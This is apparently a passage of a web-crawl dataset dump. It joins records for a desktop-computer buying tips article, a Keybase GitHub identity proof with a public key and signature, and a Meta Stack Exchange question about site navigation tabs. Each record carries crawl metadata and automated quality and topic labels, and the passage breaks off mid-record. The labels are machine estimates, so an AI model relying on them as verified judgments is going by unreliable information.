"WARC-Concurrent-To": "<urn:uuid:d036a2b8-fafc-4c9f-a0e2-1321ce5af978>",
"WARC-Date": "2024-05-28T13:30:59Z",
"WARC-IP-Address": "162.211.80.6",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:NUHG55OCJKXJQ42CCUGTD45JNIQEC27D",
"WARC-Record-ID": "<urn:uuid:381a2861-5a94-4718-b964-099fe0d748dc>",
"WARC-Target-URI": "https://www.heatware.net/software-tips/yaml-multiline-string/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:af1178bf-bab5-43a3-bb4f-27da6e7efbdc>"
},
"warc_info": "isPartOf: CC-MAIN-2024-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-123\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
56,
57,
79,
80,
717,
718,
752,
753,
779,
780,
1280,
1281,
1303,
1304,
1400,
1401,
1621,
1633,
1664,
1681,
1711,
1987,
2004,
2079,
2148,
2149,
2341,
2342,
2375,
2376,
2611,
2612,
2637,
2638,
3098,
3099,
3160,
3161,
3340,
3341,
3365,
3366,
3728,
3729,
3902,
3903,
3930,
3931,
4347,
4348,
4549,
4550,
4591,
4592,
4908,
4909,
5087,
5088,
5114,
5115,
5479,
5480,
5783,
5784,
5988,
5989,
6033,
6034,
6123,
6227,
6324,
6431,
6536,
6596,
6597,
6633,
6634,
6654,
6655,
6855,
6856,
6874,
6901,
6914,
6933,
6960,
6961,
7162,
7163,
7208,
7209,
7238,
7239,
7426,
7427,
7444,
7452,
7507,
7515,
7576,
7577,
7729,
7730,
7757,
7758,
7911,
7912,
7933,
7947,
7979,
7990,
8018,
8019,
8135,
8136,
8178,
8179,
8204,
8205,
8543,
8544,
8569,
8570,
8917,
8918,
8949,
8950,
8999,
9000,
9075,
9170,
9312,
9313,
9476,
9477,
9508,
9509,
9572,
9573,
9919,
9920,
9991,
9992,
10218,
10219,
10282,
10283,
10487,
10488,
10540,
10541,
10813,
10814,
10879,
10880,
11234,
11235,
11285,
11323,
11324
],
"line_end_idx": [
56,
57,
79,
80,
717,
718,
752,
753,
779,
780,
1280,
1281,
1303,
1304,
1400,
1401,
1621,
1633,
1664,
1681,
1711,
1987,
2004,
2079,
2148,
2149,
2341,
2342,
2375,
2376,
2611,
2612,
2637,
2638,
3098,
3099,
3160,
3161,
3340,
3341,
3365,
3366,
3728,
3729,
3902,
3903,
3930,
3931,
4347,
4348,
4549,
4550,
4591,
4592,
4908,
4909,
5087,
5088,
5114,
5115,
5479,
5480,
5783,
5784,
5988,
5989,
6033,
6034,
6123,
6227,
6324,
6431,
6536,
6596,
6597,
6633,
6634,
6654,
6655,
6855,
6856,
6874,
6901,
6914,
6933,
6960,
6961,
7162,
7163,
7208,
7209,
7238,
7239,
7426,
7427,
7444,
7452,
7507,
7515,
7576,
7577,
7729,
7730,
7757,
7758,
7911,
7912,
7933,
7947,
7979,
7990,
8018,
8019,
8135,
8136,
8178,
8179,
8204,
8205,
8543,
8544,
8569,
8570,
8917,
8918,
8949,
8950,
8999,
9000,
9075,
9170,
9312,
9313,
9476,
9477,
9508,
9509,
9572,
9573,
9919,
9920,
9991,
9992,
10218,
10219,
10282,
10283,
10487,
10488,
10540,
10541,
10813,
10814,
10879,
10880,
11234,
11235,
11285,
11323,
11324,
11339
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 11339,
"ccnet_original_nlines": 160,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3331603407859802,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.024390239268541336,
"rps_doc_frac_lines_end_with_ellipsis": 0.012422359548509121,
"rps_doc_frac_no_alph_words": 0.14218993484973907,
"rps_doc_frac_unique_words": 0.3192402124404907,
"rps_doc_mean_word_length": 5.632965564727783,
"rps_doc_num_sentences": 85,
"rps_doc_symbol_to_word_ratio": 0.0025947100948542356,
"rps_doc_unigram_entropy": 5.493917942047119,
"rps_doc_word_count": 1632,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.09441967308521271,
"rps_doc_frac_chars_dupe_6grams": 0.03981290012598038,
"rps_doc_frac_chars_dupe_7grams": 0.034591540694236755,
"rps_doc_frac_chars_dupe_8grams": 0.01022517029196024,
"rps_doc_frac_chars_dupe_9grams": 0.01022517029196024,
"rps_doc_frac_chars_top_2gram": 0.04003046080470085,
"rps_doc_frac_chars_top_3gram": 0.021755680441856384,
"rps_doc_frac_chars_top_4gram": 0.005656479857861996,
"rps_doc_books_importance": -686.7803344726562,
"rps_doc_books_importance_length_correction": -686.7803344726562,
"rps_doc_openwebtext_importance": -335.0468444824219,
"rps_doc_openwebtext_importance_length_correction": -335.0468444824219,
"rps_doc_wikipedia_importance": -374.9599609375,
"rps_doc_wikipedia_importance_length_correction": -374.9599609375
},
"fasttext": {
"dclm": 0.7830794453620911,
"english": 0.8487143516540527,
"fineweb_edu_approx": 2.5289385318756104,
"eai_general_math": 0.613569438457489,
"eai_open_web_math": 0.3921548128128052,
"eai_web_code": 0.8243615627288818
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.72",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
5,504,919,509,970,983,000 | NEXLEVEXPRESS
The Better Future Life
All Anyone Needs To Know About Desktop Computers
Articles On Technology /
Purchasing a new computer can be a daunting task. The fact remains, though, that by spending a few hours reviewing some solid information and guidance about the process, shopping can be a breeze. Keep these tips in mind when you go about your shopping.
Be on the lookout for computers that the owners are giving away. Many more people use tablets and laptops these days so they’ll be getting rid of their desktops for cheaper prices. Typically, such a computer is going to be in fine shape, but it’s still prudent to verify the functionality before you make an offer.
If you are experiencing a sluggish desktop computer, start checking it with a boot check. Head to the “start” menu and then run “ms config.” This will show you the programs that load up when the computer boots up. Find applications that you do not use a lot, and make sure that they are disabled. This will make the system run faster.
Check out all the add-ons that are available with your new computer. These days, purchasing a computer opens up a slew of extra peripherals. Only purchase that which is necessary. You should also look around since add-ons can be cheaper elsewhere. Buying from the manufacturer can take a bigger chunk of your money.
Be careful when using products on your computer. The motherboard will have to fit the processor to work. Some RAM units only work with some motherboards. Check cross-compatibility before you buy anything. This can save you money and time, and possibly even some headaches.
Make sure the desktop will fit into the space you intend it for. Desktop computers come in many sizes depending on what brand or model they are. While some have smaller profiles, others take a great deal of space. Know how much space you have before you buy a computer.
Make sure the desktop you buy fits your budget and your computing needs. Some people purchase models with features they will never use at a price that is more than they can afford. Be picky about what is on your desktop, and you will save money.
Be sure to clean out your new computer weekly. You can easily remove the case and use compressed air to blow off any dust that has settled. That way, the machine stays clean and the fan stays functional.
If you are considering a Mac but most of your programs are for a PC, you should think about purchasing Parallels for Mac. This will let you run a virtual PC on your Mac. This will let you run your PC programs. You will have to buy the operating system separate.
Before you start shopping for your next desktop computer, think about how you’ll be using it. This will help you to purchase a computer that is optimal for your needs. If you play games a lot, your requirements differ from the typical user.
It can be intimidating when looking at desktop computers when you’re not too knowledgeable. The advice given here should make it an easier task. Everyone needs to find a computer that suits their lifestyle.… | {
"url": "http://nexlevexpress.com/tag/needs/",
"source_domain": "nexlevexpress.com",
"snapshot_id": "crawl=CC-MAIN-2019-43",
"warc_metadata": {
"Content-Length": "35246",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5I3LWXVHPP3VAVWOAIB2ZZI4L2SUYCMY",
"WARC-Concurrent-To": "<urn:uuid:78abf5d6-e0a5-4905-815f-17df54ef67e4>",
"WARC-Date": "2019-10-20T23:36:19Z",
"WARC-IP-Address": "104.18.48.131",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:JWVJPCVESEQHGQE7YW2RJJ44BPXDGSO2",
"WARC-Record-ID": "<urn:uuid:418bcbc0-da60-435f-bb08-e32fb50d5460>",
"WARC-Target-URI": "http://nexlevexpress.com/tag/needs/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:f62c4c66-79c4-4ee0-a03a-1257a51e54e0>"
},
"warc_info": "isPartOf: CC-MAIN-2019-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-141.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
14,
15,
38,
39,
88,
89,
114,
115,
368,
369,
684,
685,
1020,
1021,
1337,
1338,
1611,
1612,
1882,
1883,
2129,
2130,
2334,
2335,
2597,
2598,
2839,
2840
],
"line_end_idx": [
14,
15,
38,
39,
88,
89,
114,
115,
368,
369,
684,
685,
1020,
1021,
1337,
1338,
1611,
1612,
1882,
1883,
2129,
2130,
2334,
2335,
2597,
2598,
2839,
2840,
3047
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3047,
"ccnet_original_nlines": 28,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.47954171895980835,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.008183309808373451,
"rps_doc_frac_lines_end_with_ellipsis": 0.03448275849223137,
"rps_doc_frac_no_alph_words": 0.10965629667043686,
"rps_doc_frac_unique_words": 0.4525139629840851,
"rps_doc_mean_word_length": 4.536313056945801,
"rps_doc_num_sentences": 41,
"rps_doc_symbol_to_word_ratio": 0.0016366599593311548,
"rps_doc_unigram_entropy": 4.9989776611328125,
"rps_doc_word_count": 537,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.016420360654592514,
"rps_doc_frac_chars_dupe_6grams": 0.016420360654592514,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.018472909927368164,
"rps_doc_frac_chars_top_3gram": 0.004926110152155161,
"rps_doc_frac_chars_top_4gram": 0.014778329990804195,
"rps_doc_books_importance": -234.87734985351562,
"rps_doc_books_importance_length_correction": -234.87734985351562,
"rps_doc_openwebtext_importance": -121.21289825439453,
"rps_doc_openwebtext_importance_length_correction": -121.21289825439453,
"rps_doc_wikipedia_importance": -73.21479797363281,
"rps_doc_wikipedia_importance_length_correction": -73.21479797363281
},
"fasttext": {
"dclm": 0.10941851139068604,
"english": 0.9483384490013123,
"fineweb_edu_approx": 1.9607868194580078,
"eai_general_math": 0.10231506824493408,
"eai_open_web_math": 0.13871288299560547,
"eai_web_code": 0.0049188099801540375
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.15",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "004.17",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-2,292,331,842,596,676,600 | Skip to content
Instantly share code, notes, and snippets.
Embed
What would you like to do?
Keybase.md
### Keybase proof
I hereby claim:
* I am sarahiko on github.
* I am sarahiko (https://keybase.io/sarahiko) on keybase.
* I have a public key ASA--sL4WJ53aQNTiWY7js7sbRrg3wreRmP9-B_Tgq5G2Qo
To claim this, I am signing this object:
```json
{
"body": {
"key": {
"eldest_kid": "01203efac2f8589e7769035389663b8eceec6d1ae0df0ade4663fdf81fd382ae46d90a",
"host": "keybase.io",
"kid": "01203efac2f8589e7769035389663b8eceec6d1ae0df0ade4663fdf81fd382ae46d90a",
"uid": "c02d27d61ccbc9bcb78eed95d514a319",
"username": "sarahiko"
},
"merkle_root": {
"ctime": 1568277638,
"hash": "8a07582611d3b37c0e4d843c9c4ddb7c1f8c77ca8c0cebe26d041ee897ae6e418adeb70cda2b1874b8320cea29a021fd205dbed4100198e2f30a751a56476bee",
"hash_meta": "3fb223861de6fa068b233a071037cca90523468d0e0dbd960527e026c674acf7",
"seqno": 6928485
},
"service": {
"entropy": "QQziPNpvFYg8jFINkO0cueOu",
"name": "github",
"username": "sarahiko"
},
"type": "web_service_binding",
"version": 2
},
"client": {
"name": "keybase.io go client",
"version": "4.4.1"
},
"ctime": 1568277734,
"expire_in": 504576000,
"prev": "7b7a637c869daac672f5efdcfe0b443de36069a3b380650f96b3f68c9312f0cb",
"seqno": 5,
"tag": "signature"
}
```
with the key [ASA--sL4WJ53aQNTiWY7js7sbRrg3wreRmP9-B_Tgq5G2Qo](https://keybase.io/sarahiko), yielding the signature:
```
hKRib2R5hqhkZXRhY2hlZMOpaGFzaF90eXBlCqNrZXnEIwEgPvrC+Fied2kDU4lmO47O7G0a4N8K3kZj/fgf04KuRtkKp3BheWxvYWTESpcCBcQge3pjfIadqsZy9e/c/gtEPeNgaaOzgGUPlrP2jJMS8MvEIJcTrLUV/xbY+Xz+fVvA+J0jy0nq66Q22WZ1T3VCG2vkAgHCo3NpZ8RAiZgJ50xr+5yOusFpKTRicUKQTmSqi/FbYT/6jNff1UD/Pqw77+gMH+EZ73ODqt1bcjwe0UwFbz3gN/qyDapaAahzaWdfdHlwZSCkaGFzaIKkdHlwZQildmFsdWXEIEIsSdu9RmjzdRK/D6f7QtNbiOyD/QxjtsmMgQbEnXpco3RhZ80CAqd2ZXJzaW9uAQ==
```
And finally, I am proving ownership of the github account by posting this as a gist.
### My publicly-auditable identity:
https://keybase.io/sarahiko
### From the command line:
Consider the [keybase command line program](https://keybase.io/download).
```bash
# look me up
keybase id sarahiko
```
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment | {
"url": "https://gist.github.com/Sarahiko/6b8bd6726f917a48c53e84037555c100",
"source_domain": "gist.github.com",
"snapshot_id": "crawl=CC-MAIN-2021-49",
"warc_metadata": {
"Content-Length": "105907",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:HBSJI3RYXMV4623NLUXQKPEFVER77TRB",
"WARC-Concurrent-To": "<urn:uuid:d01666cc-ff8e-48ce-b6a7-efc09cafcbdd>",
"WARC-Date": "2021-12-08T07:08:07Z",
"WARC-IP-Address": "140.82.114.3",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:H4IHC7VBIDF5FD5Q7VYQZKZLZM4R55CI",
"WARC-Record-ID": "<urn:uuid:194ab576-d45d-4cb1-881f-03da41442459>",
"WARC-Target-URI": "https://gist.github.com/Sarahiko/6b8bd6726f917a48c53e84037555c100",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0c31e782-aad6-4f6e-a704-e8f1359475a5>"
},
"warc_info": "isPartOf: CC-MAIN-2021-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-67\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
16,
17,
60,
61,
67,
94,
105,
123,
139,
166,
224,
294,
335,
343,
345,
355,
364,
452,
474,
555,
598,
621,
624,
641,
662,
802,
883,
900,
903,
916,
955,
973,
996,
999,
1030,
1043,
1046,
1058,
1090,
1109,
1112,
1133,
1157,
1233,
1245,
1264,
1266,
1270,
1387,
1391,
1796,
1800,
1885,
1921,
1949,
1976,
2050,
2058,
2071,
2091,
2095
],
"line_end_idx": [
16,
17,
60,
61,
67,
94,
105,
123,
139,
166,
224,
294,
335,
343,
345,
355,
364,
452,
474,
555,
598,
621,
624,
641,
662,
802,
883,
900,
903,
916,
955,
973,
996,
999,
1030,
1043,
1046,
1058,
1090,
1109,
1112,
1133,
1157,
1233,
1245,
1264,
1266,
1270,
1387,
1391,
1796,
1800,
1885,
1921,
1949,
1976,
2050,
2058,
2071,
2091,
2095,
2192
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2192,
"ccnet_original_nlines": 61,
"rps_doc_curly_bracket": 0.005474450066685677,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.11968085169792175,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.021276600658893585,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.4893617033958435,
"rps_doc_frac_unique_words": 0.675000011920929,
"rps_doc_mean_word_length": 10.9375,
"rps_doc_num_sentences": 18,
"rps_doc_symbol_to_word_ratio": 0.026595739647746086,
"rps_doc_unigram_entropy": 4.512648105621338,
"rps_doc_word_count": 160,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.006857139989733696,
"rps_doc_frac_chars_top_3gram": 0.012571429833769798,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -169.38528442382812,
"rps_doc_books_importance_length_correction": -169.38528442382812,
"rps_doc_openwebtext_importance": -83.71002960205078,
"rps_doc_openwebtext_importance_length_correction": -83.71002960205078,
"rps_doc_wikipedia_importance": -80.80911254882812,
"rps_doc_wikipedia_importance_length_correction": -80.80911254882812
},
"fasttext": {
"dclm": 0.8322932720184326,
"english": 0.5461046099662781,
"fineweb_edu_approx": 0.3912840485572815,
"eai_general_math": 0.049875859171152115,
"eai_open_web_math": 0.03440546989440918,
"eai_web_code": 0.69771808385849
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "2",
"label": "About (Personal)"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-8,554,690,340,654,686,000 | What is meta? ×
Meta Stack Exchange is where users like you discuss bugs, features, and support issues that affect the software powering all 146 Stack Exchange communities.
The set of subtabs on site-load compared to the question's subtabs is confusingly different. I've only just recently figured out how to navigate back to the site-load view (and the various subtabs it contains) by click on the logo for that stackexchange. It seems to me that the site-load view should load to a default tab (perhaps 'questions') or give some visual "selected" cue by adding a 'home' tab (or the like).
share|improve this question
"site load" == "home page"? – random Sep 24 '12 at 0:15
Yeah, but "home page" just doesn't feel like an adequate description though - but then we're just getting into semantics. – Matt Sep 24 '12 at 0:38
1 Answer 1
Actually, there is a visual indication of which tab is being shown: When none of the tabs is highlighted, you are watching the front page.
Questions page
Front page
For the new users, the problem is understanding that the site logo is the link for the front page. A way to resolve it would be displaying the logo using as background color the same color used to highlight the tabs. it is true that normally the logo is placed to the left side of the tabs, but that is not true for all the sites; this means that the logo could not seem as a special tab, in those sites.
screenshot
Probably a new tab would help the users, but I would rather not call it "Home"; "Front page" seems better, but I am not still convinced it is a good name.
I am used to sites where the logo is linked to the front page. It is true that in some of them there is also a tab for the front page, but that is something additional.
I would assume users are used to click on the site logo to return to the front page.
share|improve this answer
I am also used to sites where the logo links to the home page. My problem was mostly realizing that the home page content and the "question" tab content were different. Their layouts are exactly the same - the only visual cue you're on the home page is the lack of visual cues! I've been using this site for 3 years, and only now has the distinction become clear. – Matt Sep 24 '12 at 3:19
The front page contains the following tabs: interesting, featured, hot, week, and month. The Questions page contains the following tabs: newest, featured, faq, votes, active, and unanswered. I would not say the two pages are the same content. They list questions, but the structure is different. – kiamlaluno Sep 24 '12 at 3:24
You must log in to answer this question.
Not the answer you're looking for? Browse other questions tagged . | {
"url": "http://meta.stackexchange.com/questions/148079/why-does-clicking-the-questions-tab-provide-a-different-view-than-on-site-load",
"source_domain": "meta.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2015-27",
"warc_metadata": {
"Content-Length": "63540",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CYWA25I2YQD2JJBBC2WQBE3QEGVI53B4",
"WARC-Concurrent-To": "<urn:uuid:a4ce04e7-05ac-4922-ae77-ee58956cbe0d>",
"WARC-Date": "2015-07-07T21:58:34Z",
"WARC-IP-Address": "104.16.13.13",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:4LRLAPEDXGIRDKWMXPL3RTMOLDRGM4UF",
"WARC-Record-ID": "<urn:uuid:c1fb0d76-479a-45ec-a420-a6570cebf75f>",
"WARC-Target-URI": "http://meta.stackexchange.com/questions/148079/why-does-clicking-the-questions-tab-provide-a-different-view-than-on-site-load",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:76ff6d9d-0d24-41a1-9692-676585d1b86d>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-179-60-89.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-27\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for June 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
16,
173,
174,
592,
593,
621,
626,
683,
688,
837,
838,
849,
850,
989,
990,
1005,
1006,
1017,
1018,
1423,
1424,
1435,
1436,
1591,
1592,
1761,
1846,
1847,
1873,
1878,
2269,
2274,
2603,
2604,
2645,
2646
],
"line_end_idx": [
16,
173,
174,
592,
593,
621,
626,
683,
688,
837,
838,
849,
850,
989,
990,
1005,
1006,
1017,
1018,
1423,
1424,
1435,
1436,
1591,
1592,
1761,
1846,
1847,
1873,
1878,
2269,
2274,
2603,
2604,
2645,
2646,
2712
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2712,
"ccnet_original_nlines": 36,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.42500001192092896,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.014999999664723873,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2016666680574417,
"rps_doc_frac_unique_words": 0.41803279519081116,
"rps_doc_mean_word_length": 4.268442630767822,
"rps_doc_num_sentences": 26,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.774301528930664,
"rps_doc_word_count": 488,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.06240998953580856,
"rps_doc_frac_chars_dupe_6grams": 0.03552567958831787,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.034565530717372894,
"rps_doc_frac_chars_top_3gram": 0.034565530717372894,
"rps_doc_frac_chars_top_4gram": 0.017282769083976746,
"rps_doc_books_importance": -214.53668212890625,
"rps_doc_books_importance_length_correction": -214.53668212890625,
"rps_doc_openwebtext_importance": -139.4922637939453,
"rps_doc_openwebtext_importance_length_correction": -139.4922637939453,
"rps_doc_wikipedia_importance": -103.49786376953125,
"rps_doc_wikipedia_importance_length_correction": -103.49786376953125
},
"fasttext": {
"dclm": 0.07680367678403854,
"english": 0.9436270594596863,
"fineweb_edu_approx": 1.1942493915557861,
"eai_general_math": 0.04460347071290016,
"eai_open_web_math": 0.14277875423431396,
"eai_web_code": 0.0015711799496784806
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
